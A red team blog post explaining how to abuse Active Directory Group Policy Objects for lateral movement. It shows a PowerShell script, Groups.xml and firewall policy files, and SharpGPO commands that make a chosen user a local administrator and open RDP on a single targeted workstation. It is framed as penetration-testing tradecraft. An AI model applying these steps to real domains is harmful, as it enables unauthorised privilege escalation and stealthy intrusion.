Hide the threat – GPO lateral movement
Offensive security – TL;DR : The use of GPO to perform lateral movement has become more common during recent Red Team assessments. One key aspect of this process is the targeting. As a Red Teamer/Pentester, you don’t want to deploy your configuration on a high number of assets without control. Several methods exist : Security filtering, Item-level targeting and Script-based targeting.
Several tools will be covered in this blogpost :
Introduction
While doing internal pentests or Red Team assessments, we often figure how to proceed a stealthy and clean lateral movement.
While good old techniques still work like a charm on most of the servers, enforced firewall policies are more and more implemented, especially on workstations. This globally means that we can no longer use services such as SMB (TCP/445) or RPC (TCP/135).
This problem can be commonly encountered while trying to reach a specific workstation (hello “VIP emails access” trophy) connected to an enterprise VPN.
That’s where GPOs (Group Policy Objects) come into play.
Basically, GPOs let an administrator deploy settings upon a bunch of AD objects (devices or users). In other words, if we have the adequate privileges, we can deploy settings on the targeted assets. For example, attackers may use this technique to deploy a ransomware.
During an assessment, we often want to ensure only specific assets will be targeted (except for ransomware simulation exercises).
Several methods can be used to address this problem. This blog post will dive on 3 them:
- Filter during the execution of the attack (
script-based targeting) - Filter using configuration settings within GPO (
Item-level targeting) - Filter using the configuration of the GPO itself (
Security Filtering)
Initial context
Let’s say the company Galaxy, which has a galaxy.lan on premise Active Directory domain, has been compromised. The Workstations OU membership is the following:
DC=GALAXY, DC=LAN
|_ Machines
|_ Servers
[...]
|_ Workstations
|_ WinRM
GAL-TATOOINE
|_ Hard
GAL-IOKATH
GAL-SHIVA
|_ LAPS
GAL-CORRUSCANT
|_ RT
[...]
Our goal is to add the galaxy.lan\C3-PO user to the Administrators localgroup of the GAL-IOKATH workstation. As previously mentionned, we do not want to apply our GPO to the entire Machines OU, nor to the entire Workstations or Hard OUs.
Understand how GPOs work
Basically, a GPO is a folder within the SYSVOL share, which an LDAP entry is associated to. Within this folder, configuration files and/or scripts are present. When updating a GPO, a user or computer accesses the GPO’s folders that are linked to it, read the content, retrieve files and then apply the configurations.
GPLink objects are defined to link a GPO to an OU or a Container
From an LDAP perspective, the user or computer first reads the GPLinks associated to its Organizational Units / Containers. It then reads the related GPO LDAP object, which contains the path to the SYSVOL folder.

To better understand the basics, let’s say we did configure the privesc of the C3-PO user in 2 ways :
- Using the Local groups configuration
- Adding a script execution configuration at startup


# revolution.ps1
$Username = "C3-PO"
$Group = "Administrators"
Add-LocalGroupMember -Group $Group -Member $Username -ErrorAction Stop
If we look inside the GPO folder, we will find the MachinePreferencesGroupsGroups.xml and MachineScriptsStartup files.
The first file will indicate to the asset getting the GPO that it has to configure the group as described. The second will indicate that the script must be ran at startup.
Scope issue
We now face our problem, we only want Gal-Iokath to apply our settings. The fact is that if we link our GPO to the OU=Hard, OU=Workstations, OU=Machines, DC=GALAXY, DC=LAN organizational unit, GAL-SHIVA and GAL-CORRUSCANT will also be impacted.
In-script filter
First, we will try to reduce the impact of the GPO by setting a filter within the script we used. Let’s add some logs too in order to ensure what’s going on.
# revolution.ps1
$Username = "C3-PO"
$Group = "Administrators"
$_Host = ([System.Net.Dns]::GetHostByName($env:computerName)).HostName.ToLower()
if ($_Host -ne "gal-iokath.galaxy.lan") {
echo "Wrong target" > C:WindowsTempGPO_log.txt
}
else {
Add-LocalGroupMember -Group $Group -Member $Username -ErrorAction Stop
echo "Target" > C:WindowsTempGPO_log.txt
}
If we look at the Gal-Iokath computer after a restart, we can see that it worked well:
> type C:WindowsTempGPO_log.txt
Target
While the script ran, it didn’t apply the change on the Gal-Corruscant computer:
> type C:WindowsTempGPO_log.txt
Wrong target
Nevertheless, the GPO is still applied on all the computers within the linked OU, we just found a workarund to this by applying a filter within our script.

Another negative aspect of this method is that it can not apply to every GPO settings, but only to settings that use a script.
In configurations filters
We will now use the built-in Item-level targeting setting. This setting applies directly within the GPO configurations. For example, regarding our Groups modification:

If we enter the setup menu, we can see there are a lot of options to configure. We can also use logic operators between options. Let’s try something:

If we now take a look at the Groups.xml file within the SYSVOL folder, we can observe a new section called Filters:
<Filters>
<FilterComputer bool="AND" not="0" type="NETBIOS" name="GAL-IOKATH"/>
<FilterOs bool="AND" not="0" class="NT" version="WINTHRESHOLD" type="NE" edition="NE" sp="NE"/>
<FilterCollection bool="AND" not="0">
<FilterIpRange bool="AND" not="0" useIPv6="0" min="10.26.1.0" max="10.26.1.255"/>
<FilterDomain bool="AND" not="0" name="GALAXY" userContext="0"/>
</FilterCollection>
</Filters>
Let’s now look at the report of GPO application on both GAL-IOKATH and GAL-CORRSUCANT computers:

We can see that the GAL-IOKATH computer applied our GPO while GAL-CORRUSCANT did not:

The only mention to the GPO Demo GPO is that the GPO is applied. Indeed, as explained before, the setting is applied to the GPO configuration and not the GPO itself. Thus, some other configurations of the GPO could be set up and applied to the workstation.

Basically, this technique of filtering is really powerful and much safer than the in-script method, because it relies on Microsoft built-in tools. Moreover, it easily integrates with an already existing GPO.
Security filtering
Essentially, Security filtering aims to chose which assets are allowed to get a Group Policy. As stated in the Group Policy Editor from Microsoft regarding Security Filtering: “The settings in this GPO can only apply to the following groups, users, and computers”

Let’s try removing NTAuthenticated Users default configuration and adding only the target computer GAL-IOKATH$ (groups or users can also be configured):

Let’s now pull one more time the GPO on GAL-CORRUSCANT. This time, our Demo GPO appears as a Denied GPO:

So, this time, the entire Demo GPO is not applied to the GAL-CORRUSCANT computer (or any computer except GAL-IOKATH), regardless of the configurations defined within the GPO.
This method is less flexible but stronger than the Item-level targeting filters. Indeed, some configurations won’t allow you to set up Item-level targeting filters such as startup scripts.
Make it your own
Manual configuration – time is worth
In order to configure your GPO manually, we recommend using a test environment. In this blogpost, the logres.lan on-premise domain will be used.
This time, our final objective is to set up C3-PO as a local administrator of the Gal-Iokath computer and open the RDP port within local firewall.
First, we will create a new GPO on our test environnement and set up the configurations we want. While the C3-PO user doesn’t exist in the logres.lan environnement, we are going to put a temporary user.
Doing the modifications manually first means that you can explore a large variety of configurations within Group Policy.


This is the time we need to think about how we will filter the GPO. While Firewall rules settings don’t let us configure Item-level filtering, we will have to use the Security filtering.
Let’s now check the SYSVOL folder:
Machine
|_ Applications
|_ Microsoft
|_ Windows NT
|_ SecEdit
|_ GptTmpl.inf
|_ Preferences
|_ Groups
|_ Groups.xml
|_ Scripts
|_ Registry.pol
Groups.xml:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2025-10-09 07:57:23" uid="{D8EEFFBE-C971-41FC-BD90-881995CF321A}">
<Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
<Members>
<Member name="logres\Arthur-Pendragon" action="ADD" sid="S-1-5-21-3558960056-1733047027-2537124806-1104"/>
</Members>
</Properties>
</Group>
</Groups>
This XML file describes the addition we want to make within the Administrators (built-in) group.
Registry.pol:
PReg [ S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s F i r e w a l l ; P o l i c y V e r s i o n ; ; ; ] [ S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s F i r e w a l l F i r e w a l l R u l e s ; R e m o t e D e s k t o p - S h a d o w - I n - T C P ; ; Œ ; v 2 . 2 8 | A c t i o n = A l l o w | A c t i v e = T R U E | D i r = I n | P r o t o c o l = 6 | A p p = % S y s t e m R o o t % s y s t e m 3 2 R d p S a . e x e | N a m e = @ F i r e w a l l A P I . d l l , - 2 8 7 7 8 | D e s c = @ F i r e w a l l A P I . d l l , - 2 8 7 7 9 | E m b e d C t x t = @ F i r e w a l l A P I . d l l , - 2 8 7 5 2 | E d g e = T R U E | D e f e r = A p p | ] [ S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s F i r e w a l l F i r e w a l l R u l e s ; R e m o t e D e s k t o p - U s e r M o d e - I n - U D P ; ; ; v 2 . 2 8 | A c t i o n = A l l o w | A c t i v e = T R U E | D i r = I n | P r o t o c o l = 1 7 | L P o r t = 3 3 8 9 | A p p = % S y s t e m R o o t % s y s t e m 3 2 s v c h o s t . e x e | S v c = t e r m s e r v i c e | N a m e = @ F i r e w a l l A P I . d l l , - 2 8 7 7 6 | D e s c = @ F i r e w a l l A P I . d l l , - 2 8 7 7 7 | E m b e d C t x t = @ F i r e w a l l A P I . d l l , - 2 8 7 5 2 | ] [ S O F T W A R E P o l i c i e s M i c r o s o f t W i n d o w s F i r e w a l l F i r e w a l l R u l e s ; R e m o t e D e s k t o p - U s e r M o d e - I n - T C P ; ; ž ; v 2 . 2 8 | A c t i o n = A l l o w | A c t i v e = T R U E | D i r = I n | P r o t o c o l = 6 | L P o r t = 3 3 8 9 | A p p = % S y s t e m R o o t % s y s t e m 3 2 s v c h o s t . e x e | S v c = t e r m s e r v i c e | N a m e = @ F i r e w a l l A P I . d l l , - 2 8 7 7 5 | D e s c = @ F i r e w a l l A P I . d l l , - 2 8 7 5 6 | E m b e d C t x t = @ F i r e w a l l A P I . d l l , - 2 8 7 5 2 | ]
While it is not so easy to fully understand, we at least know that describes the firewall rules we configured.
GptTmpl.inf:
[Unicode]
Unicode=yes
[Version]
signature="$CHICAGO$"
Revision=1
We now download these files and edit them as required. In our case, we will set up the C3-PO name and SID in the Groups.xml file.
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2025-10-09 07:57:23" uid="{D8EEFFBE-C971-41FC-BD90-881995CF321A}"><Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)"><Members><Member name="galaxy\C3-PO" action="ADD" sid="S-1-5-21-650846565-1940658604-1335123866-1105"/></Members></Properties></Group>
</Groups>
Let’s come back to the galaxy.lan domain. The creation of a GPO and its configuration implies several actions:
- Create the GPO
- Insert the configurations
- Configure the GPO
- Link the GPO
The SharpGPO project fork will be used to perform those steps. If you prefer using Python, the GroupPolicyBackdoor will make you happy.
To create a GPO, we will use the NewGPO action:
> .SharpGPO.exe --Action NewGPO --GPOName "A good GPO" --Domain GALAXY.LAN --DomainController gal-korriban.galaxy.lan --Force
[*] Domain: GALAXY.LAN
[*] Domain Controller: gal-korriban.galaxy.lan
[*] Domain Distingushed Name: DC=GALAXY,DC=LAN
[*] Creating GPO with GUID {D7CFA964-B7BA-488F-9F05-475CA8028191}
[*] Creating LDAP GPO Entry
[*] Creating LDAP User and Machine Sub Entries
[*] Creating GPO Dir in SYSVOL
[*] Creating GPT.ini
[*] Creating User and Machine Sub Dirs
> dir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}"
Directory: \galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 10/9/2025 11:24 AM Machine
d---- 10/9/2025 11:24 AM User
-a--- 10/9/2025 11:24 AM 22 GPT.ini
We will now create the required folders and upload our files:
> mkdir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachinePreferences"
> mkdir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachinePreferencesGroups"
> mkdir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachineMicrosoft"
> mkdir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachineMicrosoftWindows NT"
> mkdir "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachineMicrosoftWindows NTSecEdit
> copy .GptTmpl.inf "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachineMicrosoftWindows NTSecEdit"
> copy .Registry.pol "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}Machine"
> copy .Groups.xml "\galaxy.lansysvolgalaxy.lanPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}MachinePreferencesGroups"
As previously mentioned, a GPO includes an Active Directory LDAP object. This LDAP object describes the target of the configurations (users or computers) and the kind of configurations that are set up. Basically, if the gPCMachineExtensionNames attribute exists, then domain assets know the GPO configures computers, the same applies for the gPCUserExtensionNames attribute for users. The content of those attributes are arrays that describe the type of configurations that are set up. As an example, the element [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{B05566AC-FE9C-4368-BE01-7A4CBB6CBA11}] means that firewall configurations are set up.
Then, we use the SharpGPO tool with the ConfigureGPO action to configure our GPO (to do it manually, you can use the LDAPAdmin tool):
> .SharpGPO.exe --Action ConfigureGPO --GPOName "A good GPO" --Domain GALAXY.LAN --DomainController gal-korriban.galaxy.lan --GPOType Firewall --GPOTarget computers
[*] Domain: GALAXY.LAN
[*] Domain Controller: gal-korriban.galaxy.lan
[*] Domain Distingushed Name: DC=GALAXY,DC=LAN
[*] GPO Name: A good GPO
[*] GPO path: \gal-korriban.galaxy.lanSYSVOLGALAXY.LANPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}GPT.ini
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
> .SharpGPO.exe --Action ConfigureGPO --GPOName "A good GPO" --Domain GALAXY.LAN --DomainController gal-korriban.galaxy.lan --GPOType Groups --GPOTarget computers
[*] Domain: GALAXY.LAN
[*] Domain Controller: gal-korriban.galaxy.lan
[*] Domain Distingushed Name: DC=GALAXY,DC=LAN
[*] GPO Name: A good GPO
[*] GPO path: \gal-korriban.galaxy.lanSYSVOLGALAXY.LANPolicies{D7CFA964-B7BA-488F-9F05-475CA8028191}GPT.ini
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
Before linking our GPO, we first need to set up some Security filtering. As we only want GAL-IOKATH to access this GPO, we will focus on this computer. Once again, the SharpGPO tool is used, with the NewSecurityFiltering action:
> .SharpGPO.exe --Action NewSecurityFiltering --GPOName "A good GPO" --Domain GALAXY.LAN --DomainController gal-korriban.galaxy.lan --DomainComputer "GAL-IOKATH"
[*] Domain: GALAXY.LAN
[*] Domain Controller: gal-korriban.galaxy.lan
[*] Domain Distingushed Name: DC=GALAXY,DC=LAN
[*] GUID of the GPO 'A good GPO': {D7CFA964-B7BA-488F-9F05-475CA8028191}
[*] Creating Security Filtering
[*] GPO GUID: {D7CFA964-B7BA-488F-9F05-475CA8028191}
[*] SID: S-1-5-21-650846565-1940658604-1335123866-1128
[*] Security Filtering created sucessfully
Finally, we link the GPO to any OU containing our target. The best way to do so is still to link the GPO to the smallest OU containing our target. The NewGPLink action proceed this task:
> .SharpGPO.exe --Action NewGPLink --GPOName "A good GPO" --Domain GALAXY.LAN --DomainController gal-korriban.galaxy.lan --DN "OU=Hard, OU=Workstations, OU=Machines, DC=galaxy, DC=lan"
[*] Domain: GALAXY.LAN
[*] Domain Controller: gal-korriban.galaxy.lan
[*] Domain Distingushed Name: DC=GALAXY,DC=LAN
[*] GUID of the GPO 'A good GPO': {D7CFA964-B7BA-488F-9F05-475CA8028191}
[*] Creating a gPLink: OU=Hard, OU=Workstations, OU=Machines, DC=galaxy, DC=lan => GPO {D7CFA964-B7BA-488F-9F05-475CA8028191}
[*] gPLink: [LDAP://cn={7A8053BC-AF30-4FBF-89A6-740DDDDC703B},cn=policies,cn=system,DC=galaxy,DC=lan;0][LDAP://cn={2D71192E-A14C-441B-9A8A-79330AB2C229},cn=policies,cn=system,DC=galaxy,DC=lan;0]
[*] gPLink was successfully created
[*] gPLink after created: [LDAP://CN={D7CFA964-B7BA-488F-9F05-475CA8028191},CN=Policies,CN=System,DC=GALAXY,DC=LAN;0][LDAP://cn={7A8053BC-AF30-4FBF-89A6-740DDDDC703B},cn=policies,cn=system,DC=galaxy,DC=lan;0][LDAP://cn={2D71192E-A14C-441B-9A8A-79330AB2C229},cn=policies,cn=system,DC=galaxy,DC=lan;0]
All those steps can be done using the GUI if you manage to obtain a graphical access.
Let’s now look at the result. Reviewing the report obtained using the gpresult command on the GAL-IOKATH computer, we can first see the extensions configured by our A good GPO GPO. We can also observe the Security Filter and the Link Location:

If we look more in details, we can finally see our group configuration and firewall rules:


By doing it manually, we could add more settings and customize further, but this would require spending additional time on the process.
All in one tools – lazy time
GroupPolicyBackdoor and SharpGPOAbuse can be used to do most of the work. Nevertheless, neither tool manages the use of the Security Filtering at the time of writing this blogpost.
To understand how these tools work, we highly suggest reading their Github project and Wiki.
Conclusion
This blogpost explained how GPOs work and how filters can be applied in order to restrict their impact.
The example demonstrated how to proceed by creating a GPO, but these actions can also be performed using an existing GPO.
Finally, the detection of such actions has not been addressed in this article, but could be the subject of future research.
Paul Saladin (P-alu)
Red Team Operator @Intrinsec
